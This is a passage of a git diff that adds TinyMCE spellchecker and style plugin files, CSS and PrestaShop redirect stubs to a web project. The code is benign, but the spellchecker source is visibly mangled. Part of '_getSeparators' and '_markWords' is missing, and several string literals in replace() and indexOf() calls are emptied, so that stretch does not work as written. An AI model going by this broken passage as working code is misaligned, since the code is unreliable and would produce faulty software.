tinymce.dom.Event.cancel(j)}else{d.hideMenu()}},_checkDone:function(){var e=this,d=e.editor,g=d.dom,f;c(g.select("span"),function(h){if(h&&g.hasClass(h,"mceItemHiddenSpellWord")){f=true;return false}});if(!f){e._done()}},_done:function(){var d=this,e=d.active;if(d.active){d.active=0;d._removeWords();if(d._menu){d._menu.hideMenu()}if(e){d.editor.nodeChanged()}}},_sendRPC:function(e,g,d){var f=this;a.sendRPC({url:f.rpcUrl,method:e,params:g,success:d,error:function(i,h){f.editor.setProgressState(0);f.editor.windowManager.alert(i.errstr||("Error response: "+h.responseText))}})}});tinymce.PluginManager.add("spellchecker",tinymce.plugins.SpellcheckerPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/spellchecker/editor_plugin_src.js b/js/tiny_mce2/plugins/spellchecker/editor_plugin_src.js new file mode 100755 index 0000000..0d7cc6e --- /dev/null +++ b/js/tiny_mce2/plugins/spellchecker/editor_plugin_src.js @@ -0,0 +1,436 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var JSONRequest = tinymce.util.JSONRequest, each = tinymce.each, DOM = tinymce.DOM; + + tinymce.create('tinymce.plugins.SpellcheckerPlugin', { + getInfo : function() { + return { + longname : 'Spellchecker', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + init : function(ed, url) { + var t = this, cm; + + t.url = url; + t.editor = ed; + t.rpcUrl = ed.getParam("spellchecker_rpc_url", "{backend}"); + + if (t.rpcUrl == '{backend}') { + // Sniff if the browser supports native spellchecking (Don't know of a better way) + if (tinymce.isIE) + return; + + t.hasSupport = true; + + // Disable the context menu when spellchecking is active + ed.onContextMenu.addToTop(function(ed, e) { + if (t.active) + return false; + }); + } + + // Register commands + ed.addCommand('mceSpellCheck', function() { + if (t.rpcUrl == '{backend}') { + // Enable/disable native spellchecker + t.editor.getBody().spellcheck = t.active = !t.active; + return; + } + + if (!t.active) { + ed.setProgressState(1); + t._sendRPC('checkWords', [t.selectedLang, t._getWords()], function(r) { + if (r.length > 0) { + t.active = 1; + t._markWords(r); + ed.setProgressState(0); + ed.nodeChanged(); + } else { + ed.setProgressState(0); + + if (ed.getParam('spellchecker_report_no_misspellings', true)) + ed.windowManager.alert('spellchecker.no_mpell'); + } + }); + } else + t._done(); + }); + + if (ed.settings.content_css !== false) + ed.contentCSS.push(url + '/css/content.css'); + + ed.onClick.add(t._showMenu, t); + ed.onContextMenu.add(t._showMenu, t); + ed.onBeforeGetContent.add(function() { + if (t.active) + t._removeWords(); + }); + + ed.onNodeChange.add(function(ed, cm) { + cm.setActive('spellchecker', t.active); + }); + + ed.onSetContent.add(function() { + t._done(); + }); + + ed.onBeforeGetContent.add(function() { + t._done(); + }); + + ed.onBeforeExecCommand.add(function(ed, cmd) { + if (cmd == 'mceFullScreen') + t._done(); + }); + + // Find selected language + t.languages = {}; + each(ed.getParam('spellchecker_languages', '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv', 'hash'), function(v, k) { + if (k.indexOf('+') === 0) { + k = k.substring(1); + t.selectedLang = v; + } + + t.languages[k] = v; + }); + }, + + createControl : function(n, cm) { + var t = this, c, ed = t.editor; + + if (n == 'spellchecker') { + // Use basic button if we use the native spellchecker + if (t.rpcUrl == '{backend}') { + // Create simple toggle button if we have native support + if (t.hasSupport) + c = cm.createButton(n, {title : 'spellchecker.desc', cmd : 'mceSpellCheck', scope : t}); + + return c; + } + + c = cm.createSplitButton(n, {title : 'spellchecker.desc', cmd : 'mceSpellCheck', scope : t}); + + c.onRenderMenu.add(function(c, m) { + m.add({title : 'spellchecker.langs', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + each(t.languages, function(v, k) { + var o = {icon : 1}, mi; + + o.onclick = function() { + if (v == t.selectedLang) { + return; + } + mi.setSelected(1); + t.selectedItem.setSelected(0); + t.selectedItem = mi; + t.selectedLang = v; + }; + + o.title = k; + mi = m.add(o); + mi.setSelected(v == t.selectedLang); + + if (v == t.selectedLang) + t.selectedItem = mi; + }) + }); + + return c; + } + }, + + // Internal functions + + _walk : function(n, f) { + var d = this.editor.getDoc(), w; + + if (d.createTreeWalker) { + w = d.createTreeWalker(n, NodeFilter.SHOW_TEXT, null, false); + + while ((n = w.nextNode()) != null) + f.call(this, n); + } else + tinymce.walk(n, f, 'childNodes'); + }, + + _getSeparators : function() { + var re = '', i, str = this.editor.getParam('spellchecker_word_separator_chars', '\\s!"#$%&()*+,-./:;<=>?@[\]^_{|}§©«®±¶·¸»¼½¾¿×÷¤\u201d\u201c'); + + // Build word separator regexp + for (i=0; i elements content is broken after spellchecking. + // Bug #1408: Preceding whitespace characters are removed + // @TODO: I'm not sure that both are still issues on IE9. + if (tinymce.isIE) { + // Enclose mispelled words with temporal tag + v = v.replace(rx, '$1$2'); + // Loop over the content finding mispelled words + while ((pos = v.indexOf('')) != -1) { + // Add text node for the content before the word + txt = v.substring(0, pos); + if (txt.length) { + node = doc.createTextNode(dom.decode(txt)); + elem.appendChild(node); + } + v = v.substring(pos+10); + pos = v.indexOf(''); + txt = v.substring(0, pos); + v = v.substring(pos+11); + // Add span element for the word + elem.appendChild(dom.create('span', {'class' : 'mceItemHiddenSpellWord'}, txt)); + } + // Add text node for the rest of the content + if (v.length) { + node = doc.createTextNode(dom.decode(v)); + elem.appendChild(node); + } + } else { + // Other browsers preserve whitespace characters on innerHTML usage + elem.innerHTML = v.replace(rx, '$1$2'); + } + + // Finally, replace the node with the container + dom.replace(elem, n); + } + }); + + se.moveToBookmark(b); + }, + + _showMenu : function(ed, e) { + var t = this, ed = t.editor, m = t._menu, p1, dom = ed.dom, vp = dom.getViewPort(ed.getWin()), wordSpan = e.target; + + e = 0; // Fixes IE memory leak + + if (!m) { + m = ed.controlManager.createDropMenu('spellcheckermenu', {'class' : 'mceNoIcons'}); + t._menu = m; + } + + if (dom.hasClass(wordSpan, 'mceItemHiddenSpellWord')) { + m.removeAll(); + m.add({title : 'spellchecker.wait', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + + t._sendRPC('getSuggestions', [t.selectedLang, dom.decode(wordSpan.innerHTML)], function(r) { + var ignoreRpc; + + m.removeAll(); + + if (r.length > 0) { + m.add({title : 'spellchecker.sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + each(r, function(v) { + m.add({title : v, onclick : function() { + dom.replace(ed.getDoc().createTextNode(v), wordSpan); + t._checkDone(); + }}); + }); + + m.addSeparator(); + } else + m.add({title : 'spellchecker.no_sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + + if (ed.getParam('show_ignore_words', true)) { + ignoreRpc = t.editor.getParam("spellchecker_enable_ignore_rpc", ''); + m.add({ + title : 'spellchecker.ignore_word', + onclick : function() { + var word = wordSpan.innerHTML; + + dom.remove(wordSpan, 1); + t._checkDone(); + + // tell the server if we need to + if (ignoreRpc) { + ed.setProgressState(1); + t._sendRPC('ignoreWord', [t.selectedLang, word], function(r) { + ed.setProgressState(0); + }); + } + } + }); + + m.add({ + title : 'spellchecker.ignore_words', + onclick : function() { + var word = wordSpan.innerHTML; + + t._removeWords(dom.decode(word)); + t._checkDone(); + + // tell the server if we need to + if (ignoreRpc) { + ed.setProgressState(1); + t._sendRPC('ignoreWords', [t.selectedLang, word], function(r) { + ed.setProgressState(0); + }); + } + } + }); + } + + if (t.editor.getParam("spellchecker_enable_learn_rpc")) { + m.add({ + title : 'spellchecker.learn_word', + onclick : function() { + var word = wordSpan.innerHTML; + + dom.remove(wordSpan, 1); + t._checkDone(); + + ed.setProgressState(1); + t._sendRPC('learnWord', [t.selectedLang, word], function(r) { + ed.setProgressState(0); + }); + } + }); + } + + m.update(); + }); + + p1 = DOM.getPos(ed.getContentAreaContainer()); + m.settings.offset_x = p1.x; + m.settings.offset_y = p1.y; + + ed.selection.select(wordSpan); + p1 = dom.getPos(wordSpan); + m.showMenu(p1.x, p1.y + wordSpan.offsetHeight - vp.y); + + return tinymce.dom.Event.cancel(e); + } else + m.hideMenu(); + }, + + _checkDone : function() { + var t = this, ed = t.editor, dom = ed.dom, o; + + each(dom.select('span'), function(n) { + if (n && dom.hasClass(n, 'mceItemHiddenSpellWord')) { + o = true; + return false; + } + }); + + if (!o) + t._done(); + }, + + _done : function() { + var t = this, la = t.active; + + if (t.active) { + t.active = 0; + t._removeWords(); + + if (t._menu) + t._menu.hideMenu(); + + if (la) + t.editor.nodeChanged(); + } + }, + + _sendRPC : function(m, p, cb) { + var t = this; + + JSONRequest.sendRPC({ + url : t.rpcUrl, + method : m, + params : p, + success : cb, + error : function(e, x) { + t.editor.setProgressState(0); + t.editor.windowManager.alert(e.errstr || ('Error response: ' + x.responseText)); + } + }); + } + }); + + // Register plugin + tinymce.PluginManager.add('spellchecker', tinymce.plugins.SpellcheckerPlugin); +})(); diff --git a/js/tiny_mce2/plugins/spellchecker/img/index.php b/js/tiny_mce2/plugins/spellchecker/img/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/spellchecker/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/spellchecker/img/wline.gif b/js/tiny_mce2/plugins/spellchecker/img/wline.gif new file mode 100755 index 0000000..7d0a4db Binary files /dev/null and b/js/tiny_mce2/plugins/spellchecker/img/wline.gif differ diff --git a/js/tiny_mce2/plugins/spellchecker/index.php b/js/tiny_mce2/plugins/spellchecker/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/spellchecker/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/style/css/index.php b/js/tiny_mce2/plugins/style/css/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/style/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/css/props.css b/js/tiny_mce2/plugins/style/css/props.css new file mode 100755 index 0000000..5550b09 --- /dev/null +++ b/js/tiny_mce2/plugins/style/css/props.css @@ -0,0 +1,13 @@ +#text_font {width:250px;} +#text_size {width:70px;} +.mceAddSelectValue {background:#DDD;} +select, #block_text_indent, #box_width, #box_height, #box_padding_top, #box_padding_right, #box_padding_bottom, #box_padding_left {width:70px;} +#box_margin_top, #box_margin_right, #box_margin_bottom, #box_margin_left, #positioning_width, #positioning_height, #positioning_zindex {width:70px;} +#positioning_placement_top, #positioning_placement_right, #positioning_placement_bottom, #positioning_placement_left {width:70px;} +#positioning_clip_top, #positioning_clip_right, #positioning_clip_bottom, #positioning_clip_left {width:70px;} +.panel_wrapper div.current {padding-top:10px;height:230px;} +.delim {border-left:1px solid gray;} +.tdelim {border-bottom:1px solid gray;} +#block_display {width:145px;} +#list_type {width:115px;} +.disabled {background:#EEE;} diff --git a/js/tiny_mce2/plugins/style/editor_plugin.js b/js/tiny_mce2/plugins/style/editor_plugin.js new file mode 100755 index 0000000..cab2153 --- /dev/null +++ b/js/tiny_mce2/plugins/style/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.StylePlugin",{init:function(a,b){a.addCommand("mceStyleProps",function(){a.windowManager.open({file:b+"/props.htm",width:480+parseInt(a.getLang("style.delta_width",0)),height:320+parseInt(a.getLang("style.delta_height",0)),inline:1},{plugin_url:b,style_text:a.selection.getNode().style.cssText})});a.addCommand("mceSetElementStyle",function(d,c){if(e=a.selection.getNode()){a.dom.setAttrib(e,"style",c);a.execCommand("mceRepaint")}});a.onNodeChange.add(function(d,c,f){c.setDisabled("styleprops",f.nodeName==="BODY")});a.addButton("styleprops",{title:"style.desc",cmd:"mceStyleProps"})},getInfo:function(){return{longname:"Style",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("style",tinymce.plugins.StylePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/editor_plugin_src.js b/js/tiny_mce2/plugins/style/editor_plugin_src.js new file mode 100755 index 0000000..c09d5e8 --- /dev/null +++ b/js/tiny_mce2/plugins/style/editor_plugin_src.js @@ -0,0 +1,55 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.StylePlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceStyleProps', function() { + ed.windowManager.open({ + file : url + '/props.htm', + width : 480 + parseInt(ed.getLang('style.delta_width', 0)), + height : 320 + parseInt(ed.getLang('style.delta_height', 0)), + inline : 1 + }, { + plugin_url : url, + style_text : ed.selection.getNode().style.cssText + }); + }); + + ed.addCommand('mceSetElementStyle', function(ui, v) { + if (e = ed.selection.getNode()) { + ed.dom.setAttrib(e, 'style', v); + ed.execCommand('mceRepaint'); + } + }); + + ed.onNodeChange.add(function(ed, cm, n) { + cm.setDisabled('styleprops', n.nodeName === 'BODY'); + }); + + // Register buttons + ed.addButton('styleprops', {title : 'style.desc', cmd : 'mceStyleProps'}); + }, + + getInfo : function() { + return { + longname : 'Style', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('style', tinymce.plugins.StylePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/index.php b/js/tiny_mce2/plugins/style/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/style/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/style/js/index.php b/js/tiny_mce2/plugins/style/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/style/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/style/js/props.js b/js/tiny_mce2/plugins/style/js/props.js new file mode 100755 index 0000000..5c82ec6 --- /dev/null +++ b/js/tiny_mce2/plugins/style/js/props.js @@ -0,0 +1,650 @@ +tinyMCEPopup.requireLangPack(); + +var defaultFonts = "" + + "Arial, Helvetica, sans-serif=Arial, Helvetica, sans-serif;" + + "Times New Roman, Times, serif=Times New Roman, Times, serif;" + + "Courier New, Courier, mono=Courier New, Courier, mono;" + + "Times New Roman, Times, serif=Times New Roman, Times, serif;" + + "Georgia, Times New Roman, Times, serif=Georgia, Times New Roman, Times, serif;" + + "Verdana, Arial, Helvetica, sans-serif=Verdana, Arial, Helvetica, sans-serif;" + + "Geneva, Arial, Helvetica, sans-serif=Geneva, Arial, Helvetica, sans-serif"; + +var defaultSizes = "9;10;12;14;16;18;24;xx-small;x-small;small;medium;large;x-large;xx-large;smaller;larger"; +var defaultMeasurement = "+pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; +var defaultSpacingMeasurement = "pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;+ems=em;exs=ex;%"; +var defaultIndentMeasurement = "pixels=px;+points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; +var defaultWeight = "normal;bold;bolder;lighter;100;200;300;400;500;600;700;800;900"; +var defaultTextStyle = "normal;italic;oblique"; +var defaultVariant = "normal;small-caps"; +var defaultLineHeight = "normal"; +var defaultAttachment = "fixed;scroll"; +var defaultRepeat = "no-repeat;repeat;repeat-x;repeat-y"; +var defaultPosH = "left;center;right"; +var defaultPosV = "top;center;bottom"; +var defaultVAlign = "baseline;sub;super;top;text-top;middle;bottom;text-bottom"; +var defaultDisplay = "inline;block;list-item;run-in;compact;marker;table;inline-table;table-row-group;table-header-group;table-footer-group;table-row;table-column-group;table-column;table-cell;table-caption;none"; +var defaultBorderStyle = "none;solid;dashed;dotted;double;groove;ridge;inset;outset"; +var defaultBorderWidth = "thin;medium;thick"; +var defaultListType = "disc;circle;square;decimal;lower-roman;upper-roman;lower-alpha;upper-alpha;none"; + +function init() { + var ce = document.getElementById('container'), h; + + ce.style.cssText = tinyMCEPopup.getWindowArg('style_text'); + + h = getBrowserHTML('background_image_browser','background_image','image','advimage'); + document.getElementById("background_image_browser").innerHTML = h; + + document.getElementById('text_color_pickcontainer').innerHTML = getColorPickerHTML('text_color_pick','text_color'); + document.getElementById('background_color_pickcontainer').innerHTML = getColorPickerHTML('background_color_pick','background_color'); + document.getElementById('border_color_top_pickcontainer').innerHTML = getColorPickerHTML('border_color_top_pick','border_color_top'); + document.getElementById('border_color_right_pickcontainer').innerHTML = getColorPickerHTML('border_color_right_pick','border_color_right'); + document.getElementById('border_color_bottom_pickcontainer').innerHTML = getColorPickerHTML('border_color_bottom_pick','border_color_bottom'); + document.getElementById('border_color_left_pickcontainer').innerHTML = getColorPickerHTML('border_color_left_pick','border_color_left'); + + fillSelect(0, 'text_font', 'style_font', defaultFonts, ';', true); + fillSelect(0, 'text_size', 'style_font_size', defaultSizes, ';', true); + fillSelect(0, 'text_size_measurement', 'style_font_size_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'text_case', 'style_text_case', "capitalize;uppercase;lowercase", ';', true); + fillSelect(0, 'text_weight', 'style_font_weight', defaultWeight, ';', true); + fillSelect(0, 'text_style', 'style_font_style', defaultTextStyle, ';', true); + fillSelect(0, 'text_variant', 'style_font_variant', defaultVariant, ';', true); + fillSelect(0, 'text_lineheight', 'style_font_line_height', defaultLineHeight, ';', true); + fillSelect(0, 'text_lineheight_measurement', 'style_font_line_height_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'background_attachment', 'style_background_attachment', defaultAttachment, ';', true); + fillSelect(0, 'background_repeat', 'style_background_repeat', defaultRepeat, ';', true); + + fillSelect(0, 'background_hpos_measurement', 'style_background_hpos_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'background_vpos_measurement', 'style_background_vpos_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'background_hpos', 'style_background_hpos', defaultPosH, ';', true); + fillSelect(0, 'background_vpos', 'style_background_vpos', defaultPosV, ';', true); + + fillSelect(0, 'block_wordspacing', 'style_wordspacing', 'normal', ';', true); + fillSelect(0, 'block_wordspacing_measurement', 'style_wordspacing_measurement', defaultSpacingMeasurement, ';', true); + fillSelect(0, 'block_letterspacing', 'style_letterspacing', 'normal', ';', true); + fillSelect(0, 'block_letterspacing_measurement', 'style_letterspacing_measurement', defaultSpacingMeasurement, ';', true); + fillSelect(0, 'block_vertical_alignment', 'style_vertical_alignment', defaultVAlign, ';', true); + fillSelect(0, 'block_text_align', 'style_text_align', "left;right;center;justify", ';', true); + fillSelect(0, 'block_whitespace', 'style_whitespace', "normal;pre;nowrap", ';', true); + fillSelect(0, 'block_display', 'style_display', defaultDisplay, ';', true); + fillSelect(0, 'block_text_indent_measurement', 'style_text_indent_measurement', defaultIndentMeasurement, ';', true); + + fillSelect(0, 'box_width_measurement', 'style_box_width_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_height_measurement', 'style_box_height_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_float', 'style_float', 'left;right;none', ';', true); + fillSelect(0, 'box_clear', 'style_clear', 'left;right;both;none', ';', true); + fillSelect(0, 'box_padding_left_measurement', 'style_padding_left_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_top_measurement', 'style_padding_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_bottom_measurement', 'style_padding_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_right_measurement', 'style_padding_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_left_measurement', 'style_margin_left_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_top_measurement', 'style_margin_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_bottom_measurement', 'style_margin_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_right_measurement', 'style_margin_right_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'border_style_top', 'style_border_style_top', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_right', 'style_border_style_right', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_bottom', 'style_border_style_bottom', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_left', 'style_border_style_left', defaultBorderStyle, ';', true); + + fillSelect(0, 'border_width_top', 'style_border_width_top', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_right', 'style_border_width_right', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_bottom', 'style_border_width_bottom', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_left', 'style_border_width_left', defaultBorderWidth, ';', true); + + fillSelect(0, 'border_width_top_measurement', 'style_border_width_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_right_measurement', 'style_border_width_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_bottom_measurement', 'style_border_width_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_left_measurement', 'style_border_width_left_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'list_type', 'style_list_type', defaultListType, ';', true); + fillSelect(0, 'list_position', 'style_list_position', "inside;outside", ';', true); + + fillSelect(0, 'positioning_type', 'style_positioning_type', "absolute;relative;static", ';', true); + fillSelect(0, 'positioning_visibility', 'style_positioning_visibility', "inherit;visible;hidden", ';', true); + + fillSelect(0, 'positioning_width_measurement', 'style_positioning_width_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_height_measurement', 'style_positioning_height_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_overflow', 'style_positioning_overflow', "visible;hidden;scroll;auto", ';', true); + + fillSelect(0, 'positioning_placement_top_measurement', 'style_positioning_placement_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_right_measurement', 'style_positioning_placement_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_bottom_measurement', 'style_positioning_placement_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_placement_left_measurement', 'style_positioning_placement_left_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'positioning_clip_top_measurement', 'style_positioning_clip_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_right_measurement', 'style_positioning_clip_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_bottom_measurement', 'style_positioning_clip_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_clip_left_measurement', 'style_positioning_clip_left_measurement', defaultMeasurement, ';', true); + + TinyMCE_EditableSelects.init(); + setupFormData(); + showDisabledControls(); +} + +function setupFormData() { + var ce = document.getElementById('container'), f = document.forms[0], s, b, i; + + // Setup text fields + + selectByValue(f, 'text_font', ce.style.fontFamily, true, true); + selectByValue(f, 'text_size', getNum(ce.style.fontSize), true, true); + selectByValue(f, 'text_size_measurement', getMeasurement(ce.style.fontSize)); + selectByValue(f, 'text_weight', ce.style.fontWeight, true, true); + selectByValue(f, 'text_style', ce.style.fontStyle, true, true); + selectByValue(f, 'text_lineheight', getNum(ce.style.lineHeight), true, true); + selectByValue(f, 'text_lineheight_measurement', getMeasurement(ce.style.lineHeight)); + selectByValue(f, 'text_case', ce.style.textTransform, true, true); + selectByValue(f, 'text_variant', ce.style.fontVariant, true, true); + f.text_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.color); + updateColor('text_color_pick', 'text_color'); + f.text_underline.checked = inStr(ce.style.textDecoration, 'underline'); + f.text_overline.checked = inStr(ce.style.textDecoration, 'overline'); + f.text_linethrough.checked = inStr(ce.style.textDecoration, 'line-through'); + f.text_blink.checked = inStr(ce.style.textDecoration, 'blink'); + f.text_none.checked = inStr(ce.style.textDecoration, 'none'); + updateTextDecorations(); + + // Setup background fields + + f.background_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.backgroundColor); + updateColor('background_color_pick', 'background_color'); + f.background_image.value = ce.style.backgroundImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); + selectByValue(f, 'background_repeat', ce.style.backgroundRepeat, true, true); + selectByValue(f, 'background_attachment', ce.style.backgroundAttachment, true, true); + selectByValue(f, 'background_hpos', getNum(getVal(ce.style.backgroundPosition, 0)), true, true); + selectByValue(f, 'background_hpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 0))); + selectByValue(f, 'background_vpos', getNum(getVal(ce.style.backgroundPosition, 1)), true, true); + selectByValue(f, 'background_vpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 1))); + + // Setup block fields + + selectByValue(f, 'block_wordspacing', getNum(ce.style.wordSpacing), true, true); + selectByValue(f, 'block_wordspacing_measurement', getMeasurement(ce.style.wordSpacing)); + selectByValue(f, 'block_letterspacing', getNum(ce.style.letterSpacing), true, true); + selectByValue(f, 'block_letterspacing_measurement', getMeasurement(ce.style.letterSpacing)); + selectByValue(f, 'block_vertical_alignment', ce.style.verticalAlign, true, true); + selectByValue(f, 'block_text_align', ce.style.textAlign, true, true); + f.block_text_indent.value = getNum(ce.style.textIndent); + selectByValue(f, 'block_text_indent_measurement', getMeasurement(ce.style.textIndent)); + selectByValue(f, 'block_whitespace', ce.style.whiteSpace, true, true); + selectByValue(f, 'block_display', ce.style.display, true, true); + + // Setup box fields + + f.box_width.value = getNum(ce.style.width); + selectByValue(f, 'box_width_measurement', getMeasurement(ce.style.width)); + + f.box_height.value = getNum(ce.style.height); + selectByValue(f, 'box_height_measurement', getMeasurement(ce.style.height)); + selectByValue(f, 'box_float', ce.style.cssFloat || ce.style.styleFloat, true, true); + + selectByValue(f, 'box_clear', ce.style.clear, true, true); + + setupBox(f, ce, 'box_padding', 'padding', ''); + setupBox(f, ce, 'box_margin', 'margin', ''); + + // Setup border fields + + setupBox(f, ce, 'border_style', 'border', 'Style'); + setupBox(f, ce, 'border_width', 'border', 'Width'); + setupBox(f, ce, 'border_color', 'border', 'Color'); + + updateColor('border_color_top_pick', 'border_color_top'); + updateColor('border_color_right_pick', 'border_color_right'); + updateColor('border_color_bottom_pick', 'border_color_bottom'); + updateColor('border_color_left_pick', 'border_color_left'); + + f.elements.border_color_top.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_top.value); + f.elements.border_color_right.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_right.value); + f.elements.border_color_bottom.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_bottom.value); + f.elements.border_color_left.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_left.value); + + // Setup list fields + + selectByValue(f, 'list_type', ce.style.listStyleType, true, true); + selectByValue(f, 'list_position', ce.style.listStylePosition, true, true); + f.list_bullet_image.value = ce.style.listStyleImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); + 